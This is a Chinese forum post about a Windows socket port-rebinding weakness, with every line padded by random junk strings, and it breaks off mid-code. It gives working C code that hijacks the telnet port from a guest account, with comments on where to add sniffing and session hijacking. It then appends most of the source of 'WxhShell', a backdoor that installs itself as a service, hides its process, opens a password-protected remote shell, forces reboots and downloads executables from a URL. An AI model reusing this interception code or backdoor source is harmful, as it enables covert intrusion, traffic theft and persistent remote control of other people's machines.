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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ;'5>q&[qbP  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Xe<sJ. &Wf  
o*DN4oa)  
  saddr.sin_family = AF_INET; )Y2{_ bx4"  
Gnfd;. (.  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 4US"hexE<  
#0ETY\}ZD  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); S{;sUGcu  
Pl=ZRKn  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 R%Q@   
b~'"^ Bts*  
  这意味着什么?意味着可以进行如下的攻击: V,q](bg  
jDy-)2<  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 JHz [7  
5]n[]FW  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) V}dJ.I /#  
FrTi+& <  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 AWP"b?^G|  
]|MEx{BG-  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  .Xce9C0SW  
( M7pT  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 x|mqL-Q f  
<_3b1VhZ  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 |&FkksNAl\  
wQe_vY  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 c lNkph  
~(Q)"s\1I  
  #include 2Ou[u#H  
  #include l-SAC3qhG  
  #include &;+ -?k|  
  #include    KVD8YfF  
  DWORD WINAPI ClientThread(LPVOID lpParam);   [-\%4  
  int main() 4:|S` jm  
  { D@Vt^_  
  WORD wVersionRequested; >sK!F$  
  DWORD ret; f>W -  
  WSADATA wsaData; U-IpH+E  
  BOOL val; .v$D13L(o  
  SOCKADDR_IN saddr; N'g>MBdI  
  SOCKADDR_IN scaddr; c2&q*]?l;  
  int err; <)u`~$n2  
  SOCKET s; 5qr'.m  
  SOCKET sc; b]x4o#t  
  int caddsize; Pb?$t  
  HANDLE mt; oJ4 AIQjB  
  DWORD tid;   @&1ZB6OCb:  
  wVersionRequested = MAKEWORD( 2, 2 ); "br,/Dk>MX  
  err = WSAStartup( wVersionRequested, &wsaData ); pL{U `5S  
  if ( err != 0 ) { |962G1.  
  printf("error!WSAStartup failed!\n"); p4'G$]#  
  return -1; @7?#Y|`  
  } DpUbzr41+k  
  saddr.sin_family = AF_INET; #7MUJY+ 9  
   E=>FjCsu<-  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 .ox8*OO<  
%d?cP}V  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 1XD,uoxB  
  saddr.sin_port = htons(23); a{R%#e\n  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) P %#<I}0C  
  { EJsM(iG]~M  
  printf("error!socket failed!\n"); vJ'2@f$  
  return -1; s;3={e.  
  } M7@2^G]p  
  val = TRUE; ^~3SSLS4"  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 r]b_@hT',  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ~S8*t~  
  { P*I}yPeb  
  printf("error!setsockopt failed!\n"); EL(nDv  
  return -1; BDR.AZ  
  } 8xccp4  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 3?1`D/  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ;i<|9{;  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 tE)suU5Y  
eD*A )  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) P;Ga4Q.  
  { MM (xk  
  ret=GetLastError(); T3k#VNH  
  printf("error!bind failed!\n"); SV2M+5#;  
  return -1; b/C`J p  
  } X22[tqg;&  
  listen(s,2); bT^I"  
  while(1) R,pX:H&#+  
  { px}|Mu7z~  
  caddsize = sizeof(scaddr); WJ4li@T7V  
  //接受连接请求 [%77bv85.G  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); cd$m25CxC  
  if(sc!=INVALID_SOCKET) a{ ?`t|  
  { {TX]\ufG  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); I?ae\X@M  
  if(mt==NULL) %Ti}CwI`  
  { kPF9Z "l  
  printf("Thread Creat Failed!\n"); Si6al78  
  break; L IZRoG8  
  } =o&>fw  
  } K':K{ee>  
  CloseHandle(mt); YKO){f5  
  } L$IQuy  
  closesocket(s); L5 veX}  
  WSACleanup(); 6~1|qEe6I  
  return 0; o1FF"tLkN  
  }   IE9 XU9Kd  
  DWORD WINAPI ClientThread(LPVOID lpParam) N4L|;?  
  { j( RWO  
  SOCKET ss = (SOCKET)lpParam; j^^Ap  
  SOCKET sc; DDPxmuNG  
  unsigned char buf[4096]; 1:f9J  
  SOCKADDR_IN saddr; Z|5?7v;h5  
  long num; }>VG~u8  
  DWORD val; ,PWgH$+  
  DWORD ret; v" OY 1<8  
  //如果是隐藏端口应用的话,可以在此处加一些判断 XgLL!5`  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   gG-BVl"59  
  saddr.sin_family = AF_INET; 1@QZnF5[  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); /+\uqF8F  
  saddr.sin_port = htons(23); V>A .iim  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) -Xxqm%([71  
  { x)rM/Kq  
  printf("error!socket failed!\n"); {j:hod@-:5  
  return -1; <xgTS[k  
  } PzA|t;*  
  val = 100; ~~SwCXZ+b^  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) MD|5 ol9  
  { ;S57w1PbVA  
  ret = GetLastError(); (&+kl q  
  return -1; 0Sgaem`  
  } uWM{JEOl  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 8;Yx<woR  
  { { T-'t/0e(  
  ret = GetLastError(); Gcig*5   
  return -1; B:!W$ <  
  } <-,gAk)u  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) jC7&s$>Q"g  
  { IFDZfx  
  printf("error!socket connect failed!\n"); '+$EhFwD  
  closesocket(sc); }lfnnK#  
  closesocket(ss); dVsE^jsL  
  return -1; $D}{]MN.  
  } Mi/&f   
  while(1) WnGGo ' Z  
  { }jVSlCF@t  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 /4 vG3  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 (Nx;0"5IX  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 h\PHK C2  
  num = recv(ss,buf,4096,0); J,AR5@)1  
  if(num>0) _c, '>aH=  
  send(sc,buf,num,0); +=.W<b  
  else if(num==0) Kwg4sr5"D  
  break; n(L\||#+  
  num = recv(sc,buf,4096,0); 4Qo]n re!  
  if(num>0) + j W1V}h  
  send(ss,buf,num,0); w0C~*fn3l  
  else if(num==0) unBy&?&p  
  break; *7h!w!LN~  
  } p\JfFfC  
  closesocket(ss); %5A+V0D0'  
  closesocket(sc); mL_j4=ER@  
  return 0 ; %YSu8G_t  
  } jSwf*u  
 \o/n  
uU:CR>=AKW  
========================================================== <oo  
'*?WU_L(g  
下边附上一个代码,,WXhSHELL -*m+(7G\  
FxVZ[R  
========================================================== <_XWWT%  
%"af748!+D  
#include "stdafx.h" -$WYj "  
L30$%G|  
#include <stdio.h> @ )-$kk*  
#include <string.h> y^}6!>Ou:  
#include <windows.h> <~n$1aA  
#include <winsock2.h> ;d'Z|H;  
#include <winsvc.h> E5N{j4\F  
#include <urlmon.h> ea~:}!-P  
$.GOZqMs  
#pragma comment (lib, "Ws2_32.lib") <]b7ZF]  
#pragma comment (lib, "urlmon.lib") bf!M#QOk?  
FDv+*sZ  
#define MAX_USER   100 // 最大客户端连接数 ijdXU8  
#define BUF_SOCK   200 // sock buffer FN%m0"/Z{t  
#define KEY_BUFF   255 // 输入 buffer >B2q+tA  
E Kz'&Gu  
#define REBOOT     0   // 重启 ^pe{b9c  
#define SHUTDOWN   1   // 关机 +{L<? "  
YBP:q2H  
#define DEF_PORT   5000 // 监听端口 >$,y5 AJ&  
N1}={yF.fQ  
#define REG_LEN     16   // 注册表键长度 Vw&HVo  
#define SVC_LEN     80   // NT服务名长度 =?s 3iP  
Jte#ZnP  
// 从dll定义API r?*NhLG ;  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); [g Z"a*  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ty*@7g0k  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); pTyi!:g3W  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 3Bx:Ntx<  
3neIR@W  
// wxhshell配置信息 dGFGr}&s  
struct WSCFG { KhW;RD  
  int ws_port;         // 监听端口 }GZ}Q5  
  char ws_passstr[REG_LEN]; // 口令 t6A:Z mG_  
  int ws_autoins;       // 安装标记, 1=yes 0=no 1s{^X -  
  char ws_regname[REG_LEN]; // 注册表键名 ]/B$br'O{?  
  char ws_svcname[REG_LEN]; // 服务名 ~DsECnD  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 f}@jFhr'<  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (<Th=Fns?  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 =pk)3<GwF  
int ws_downexe;       // 下载执行标记, 1=yes 0=no *s>BG1$<  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 't9hXzAfW  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 D.1J_Y=9  
o,!T2&}  
}; S9>0t0  
acw4B5]  
// default Wxhshell configuration }QsZ:J.  
struct WSCFG wscfg={DEF_PORT, 2d {y M(=(  
    "xuhuanlingzhe", {|yob4N  
    1, fz3 lV  
    "Wxhshell", ~35U]s@v  
    "Wxhshell", &09U@uc$  
            "WxhShell Service", lZrVY+ D  
    "Wrsky Windows CmdShell Service", YTjkPj:  
    "Please Input Your Password: ", x $zKzfHW  
  1, W5'3$,X9  
  "http://www.wrsky.com/wxhshell.exe", 1& '8Y  
  "Wxhshell.exe" WMBm6?54  
    }; cn- nj]  
( &frUQm  
// 消息定义模块  =Mb1o[  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; TcGoSj<Z  
char *msg_ws_prompt="\n\r? for help\n\r#>"; s9>(Jzcf9  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 2*w:tT8+X  
char *msg_ws_ext="\n\rExit."; ]l(wg]  
char *msg_ws_end="\n\rQuit."; q9^  
char *msg_ws_boot="\n\rReboot..."; &k1T08C*  
char *msg_ws_poff="\n\rShutdown..."; >"@?ir  
char *msg_ws_down="\n\rSave to "; Cua%1]"4w  
e[Jem5C  
char *msg_ws_err="\n\rErr!"; E3*\ ^Q_  
char *msg_ws_ok="\n\rOK!"; ,~);EC=`  
XJ0oS32_wK  
char ExeFile[MAX_PATH]; 2]c {P\  
int nUser = 0; j}AFE  
HANDLE handles[MAX_USER]; 'vbc#_;  
int OsIsNt; ej O}t:}P  
toaYsiIkzW  
SERVICE_STATUS       serviceStatus; ~6 I)|^Z  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; N|Sf=q?Ko  
I Nc^L  
// 函数声明 _zu?.I0^  
int Install(void); ~-83Q5/[  
int Uninstall(void); //&j<vu s  
int DownloadFile(char *sURL, SOCKET wsh); N7s'6(`=X  
int Boot(int flag); x+@&(NMP5  
void HideProc(void); `+/H^  
int GetOsVer(void); wO>L#"X^v  
int Wxhshell(SOCKET wsl); :SsUdIX;P  
void TalkWithClient(void *cs); 7E @+  
int CmdShell(SOCKET sock); 4A3nO<o MF  
int StartFromService(void); }I!hOD>]O  
int StartWxhshell(LPSTR lpCmdLine);  P N*JR  
olW|$?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 6ITLGA  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); .Xdj(_&  
s ncIqsZ  
// 数据结构和表定义 jkF8\dR  
SERVICE_TABLE_ENTRY DispatchTable[] = :EtMH(  
{ '>v^6i S  
{wscfg.ws_svcname, NTServiceMain}, =U. b% uC  
{NULL, NULL} (LtkA|:  
}; =5s F"L;b  
%G@5!|J  
// 自我安装 6st^4S5  
int Install(void) $^tv45  
{ vwr74A.g0  
  char svExeFile[MAX_PATH]; {@u<3 s  
  HKEY key; XIWm>IQ[)  
  strcpy(svExeFile,ExeFile); $oLU; q%  
pU!o7>p  
// 如果是win9x系统,修改注册表设为自启动 IAOcKQ3  
if(!OsIsNt) {  pAu72O?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { M- 0i7%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )=Q)BN[  
  RegCloseKey(key); +} mk>e/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { C`'W#xnp1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0q9>6?=i  
  RegCloseKey(key); |fHB[ W#  
  return 0; >bUj *#<  
    } - /c7n F  
  } %k0EpJE%  
} dP>w/$C}  
else { IF@HzT;Q  
&l}?v@@+_  
// 如果是NT以上系统,安装为系统服务 I@l>w._.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); D0;tcm.$  
if (schSCManager!=0) rQP"Y[  
{ @:x"]!1  
  SC_HANDLE schService = CreateService !eJCM`cp  
  ( ,5|d3dJS  
  schSCManager, #' hLb  
  wscfg.ws_svcname, a9~"3y  
  wscfg.ws_svcdisp, :h:@o h_=  
  SERVICE_ALL_ACCESS, (XH2Sy  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , IB|]fzy  
  SERVICE_AUTO_START, A7P`lJgv  
  SERVICE_ERROR_NORMAL, {5%/T,  
  svExeFile, s~},y]YV  
  NULL, oY`qInM_  
  NULL, CT d|`  
  NULL, :Au /2  
  NULL, )h^NR3N  
  NULL \O7J=6fn  
  ); XV'fW~j\  
  if (schService!=0) yW.COWL=)  
  { L<(VG{)Z  
  CloseServiceHandle(schService); Zwe[_z!*D  
  CloseServiceHandle(schSCManager); x:t<ZG&Xwg  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); :Y)to/h  
  strcat(svExeFile,wscfg.ws_svcname); (RXS~8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {Ts:ZI+ 8d  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^^(<c,NX#M  
  RegCloseKey(key); ;5 <-)  
  return 0; v.W{x?5  
    } &14W vAU  
  } v&3O&y/1v  
  CloseServiceHandle(schSCManager); }iIbcA  
} `eRLc}aP2  
} g$j6n{Yl  
qvt-  
return 1; /f1'm@8;  
} *rqm8z50a  
R#4 ^s  
// 自我卸载 2r ];V'r  
int Uninstall(void) zL s^,x  
{ j.3o W  
  HKEY key; ,2WH/"  
m%QqmTH  
if(!OsIsNt) { |ia@,*KD  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ykq'g|  
  RegDeleteValue(key,wscfg.ws_regname); .V%*{eHLL  
  RegCloseKey(key); >kdM:MK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { OR+A_:c.D  
  RegDeleteValue(key,wscfg.ws_regname); C]`eH *z~8  
  RegCloseKey(key); /hdf{4  
  return 0; 4FA|[An  
  } [V@yRWI  
} "7?js $  
} OoP@-D"e  
else { { U <tc4^  
rbk<z\pc  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !Y;<:zx5  
if (schSCManager!=0) "+iAd.qd  
{ {Iy7.c8S  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); s?O&ZB2GM[  
  if (schService!=0) b?kPN:U#N/  
  { ]5|z3<K^  
  if(DeleteService(schService)!=0) { Goj4`Hc  
  CloseServiceHandle(schService); j$eCe< .3  
  CloseServiceHandle(schSCManager); gJ\%>r7h  
  return 0; 7dD.G/'  
  } Xyv8LB  
  CloseServiceHandle(schService); K="I<bK  
  } '7nJb6V,0l  
  CloseServiceHandle(schSCManager); i+~QDo(Pi  
} vmKT F!;  
} T 2bnzI i  
) Ypz!  
return 1; GhnE>d;i  
} $P?{O3:V  
o_ yRn16  
// 从指定url下载文件 xQz#i-v  
int DownloadFile(char *sURL, SOCKET wsh) ^now}u9S6  
{ NyJnOw(  
  HRESULT hr; 4/L>&%8V  
char seps[]= "/"; umDtp\  
char *token; IYNMU\s  
char *file; MOV =n75  
char myURL[MAX_PATH]; >.Q0 Tx!P  
char myFILE[MAX_PATH]; ?~qC,N[  
rh$1-Y  
strcpy(myURL,sURL); 6=>7M b$  
  token=strtok(myURL,seps); v+tO$QZ`  
  while(token!=NULL) ^\YQ_/\~L  
  { ~t9$IB  
    file=token; P,1exgq9  
  token=strtok(NULL,seps); o5#,\Y[ g  
  } 9kd.j@C  
< EXWWrm  
GetCurrentDirectory(MAX_PATH,myFILE); aBCOGtf  
strcat(myFILE, "\\"); q<}PM  
strcat(myFILE, file); d5, FM  
  send(wsh,myFILE,strlen(myFILE),0); 7l}~4dm2J  
send(wsh,"...",3,0); n.;3X  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); # J.u  
  if(hr==S_OK) szn%wZW  
return 0; r"]Oe$[#  
else z1vni'%J  
return 1; 4 ? {*(  
-~'kP /E^  
} bD@@tGr;W  
<t6 d)mJ%  
// 系统电源模块 m9g^ -X  
int Boot(int flag) =n }Yqny  
{ f)tc4iV  
  HANDLE hToken; t/LgHb:)  
  TOKEN_PRIVILEGES tkp; ork|yj/A  
ZPYH#gC& T  
  if(OsIsNt) { j@g!R!7)  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Ge9}8  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); gCwt0)  
    tkp.PrivilegeCount = 1; ~mcZUiP9  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; H8"tbU  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); o@@w^##  
if(flag==REBOOT) { vUfO4yfdg  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) F=5kF/}x-z  
  return 0; Ko-QR(  
} tz8t9lb[  
else { 3AP YO  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 6+#,=!hF{  
  return 0; (6[Wr}SW5  
} (\q[gyR  
  } jQIV2TY[  
  else { n@o  
if(flag==REBOOT) { 4`G=q^GL,  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) }u7D9_KU  
  return 0; \"bLE0~  
} }JJ::*W2n  
else { Dzm qR0)  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 9>zDJx  
  return 0; 8"pA9Mr  
} "{6KZ!+0  
} Wlxk  
5YLho2h38!  
return 1; 5z[6rT=a  
} 7\ZL  
.n=xbx:=  
// win9x进程隐藏模块 ~{Ua92zV9  
void HideProc(void) (77Dif0)'  
{ X?_v+'G  
P ]_Vz  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); mlmnkgl ]  
  if ( hKernel != NULL ) X{|k<^:  
  { SFOQM*H  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 'U*udkn 2]  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ?xf~!D  
    FreeLibrary(hKernel); aH9L|BN*  
  } l85CJ+rg  
.>oM z&  
return; 3?]S,~!F  
} J b|mXNcL  
n_ OUWvs  
// 获取操作系统版本 `C ?a  
int GetOsVer(void) Cb<~i  
{ tl2Lq0  
  OSVERSIONINFO winfo; 9`E-dr9  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); `oan,wq+  
  GetVersionEx(&winfo); f 3\w99\o  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ar=hx+  
  return 1; 5M]6'X6I  
  else 8*"rZh}'  
  return 0; r$Kh3EEF`E  
} r ufRaar  
mURX I'JkX  
// 客户端句柄模块 OHQ3+WJ  
int Wxhshell(SOCKET wsl) ~'|&{-<  
{ bwT"$Ee  
  SOCKET wsh; WoJ]@Me8  
  struct sockaddr_in client; kv[OW"8t  
  DWORD myID; Psg +\14  
/}[zA@  
  while(nUser<MAX_USER) ..]B9M.  
{ c '/2F0y  
  int nSize=sizeof(client); b<48#Qy~l  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ,\Z8*Jr3Q  
  if(wsh==INVALID_SOCKET) return 1; '$lw[1  
d9ZDpzx B  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 7=AO^:=bx  
if(handles[nUser]==0) C[^a/P`i  
  closesocket(wsh); ?T~3B]R  
else FP0<-9DO  
  nUser++; Y'\3ux0]4'  
  } o(vZ*^\  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); X/K| WOO6  
eDvXU_yA  
  return 0; {_+>"esc  
} c M|af#o  
>V3W>5X  
// 关闭 socket 2I9{+>k  
void CloseIt(SOCKET wsh) !<JG&9ODP  
{ =#J 9  
closesocket(wsh); Q2??Kp] 1  
nUser--; <$Xn:B<H  
ExitThread(0); <%T%NjNPQ  
} tauP1&%oH{  
:6qUSE  
// 客户端请求句柄 {5?!`<fF  
void TalkWithClient(void *cs) IiQWs1  
{ Yf%[6Y{  
2-/YYe;C  
  SOCKET wsh=(SOCKET)cs; ZhxfI?i)l  
  char pwd[SVC_LEN]; =rE `ib  
  char cmd[KEY_BUFF]; 0`zm>fh}  
char chr[1]; JB: mbH  
int i,j; bt. K<Y0  
!!\4'Q[  
  while (nUser < MAX_USER) { Fvcq^uZ  
>V77X+!  
if(wscfg.ws_passstr) { ~6pCOS}  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &ij^FAM  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); h=mI{w*  
  //ZeroMemory(pwd,KEY_BUFF); J:k@U42  
      i=0; K'ed5J  
  while(i<SVC_LEN) { u^;sx/  
%6vMpB`g  
  // 设置超时 EC:x  ,i  
  fd_set FdRead; sP=2NqU3Q  
  struct timeval TimeOut; _,Io(QS  
  FD_ZERO(&FdRead); gb^UFD L  
  FD_SET(wsh,&FdRead); 70I4-[/z[d  
  TimeOut.tv_sec=8; A_8`YN"Xk  
  TimeOut.tv_usec=0; `RL(N4H  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _r^G%Mvy|  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ]ys4  
RJ7/I/yD|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); rmAP&Gw I  
  pwd=chr[0]; 1L(Nfkh  
  if(chr[0]==0xd || chr[0]==0xa) { bTI&#Hu  
  pwd=0; ACMpm~C8Gu  
  break; 8O}A/*1FJ  
  } Yn?2,^?N  
  i++; J/H#d')c  
    } P,LXZ  
I NFz X  
  // 如果是非法用户,关闭 socket ph5xW<VNP  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {jCu9 ]c!  
} #z1ch,*3;  
jn#N7%{Mk  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);  G> 5=`  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); z.\[Va$@l  
'+GVozc6c"  
while(1) { <yb=!  
Bwi[qw  
  ZeroMemory(cmd,KEY_BUFF); (urfaZ;@+  
Vtc)/OH  
      // 自动支持客户端 telnet标准   *RqO3=  
  j=0; {{#a%O  
  while(j<KEY_BUFF) { vX!dMJa0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1Tts3O .  
  cmd[j]=chr[0]; U_=wL  
  if(chr[0]==0xa || chr[0]==0xd) { faKrSmE!  
  cmd[j]=0; _mq*j^u,j  
  break; jwtXI\@MS  
  } Rqd%#v  
  j++; +{ ,w#@  
    } S'H0nJ3  
c Gaz$=/  
  // 下载文件 _|Kv~\G!  
  if(strstr(cmd,"http://")) { vVvt ]h  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); LQ&d|giA  
  if(DownloadFile(cmd,wsh)) 5)o-]S>  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); {/[?YTDU  
  else 3K;b~xg`nw  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]!S)O|_D[  
  } emDvy2uA#  
  else { x4 A TK  
yz&q2  
    switch(cmd[0]) { IQ27FV|3  
  QP-<$P;~  
  // 帮助 - EX3' [*'  
  case '?': { N_WA4?rB  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,BN}H-W\2  
    break; t&?v9n"X  
  } C">=2OO  
  // 安装 =-B3vd:LF  
  case 'i': { Ot:\h  
    if(Install()) ]mGsNQ ].H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VAB&&AL  
    else /x"pj3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >+c`GpZH  
    break; "x)pp  
    } ,Elga}7u  
  // 卸载 DF&jZ[##  
  case 'r': { dXcMysRc%&  
    if(Uninstall()) s }R:q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Up2\X#6  
    else \gW\Sa ^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /;(%Xd&:  
    break; p2_Zsq  
    } 4~D>oNx4  
  // 显示 wxhshell 所在路径 ?jM7C}  
  case 'p': { )9W# 5V$  
    char svExeFile[MAX_PATH]; ~uD;_Y=u)r  
    strcpy(svExeFile,"\n\r"); dvdBRrf  
      strcat(svExeFile,ExeFile); DEeL 48{R  
        send(wsh,svExeFile,strlen(svExeFile),0); xo"4mbTV  
    break; 0bQiUcg/  
    } 06W=(fY  
  // 重启 K]]r OF  
  case 'b': { ~!+h"%'t  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 'C?f"P:X{  
    if(Boot(REBOOT)) 01d26`G$i~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `?|]:7'<  
    else { g!|E!\p  
    closesocket(wsh); !JQ~r@j  
    ExitThread(0); ;<GTtt# D  
    } _"t.1+-K  
    break; %TggNU,  
    } }oxaB9r  
  // 关机 ";Xbr;N  
  case 'd': { 0FR%<u  
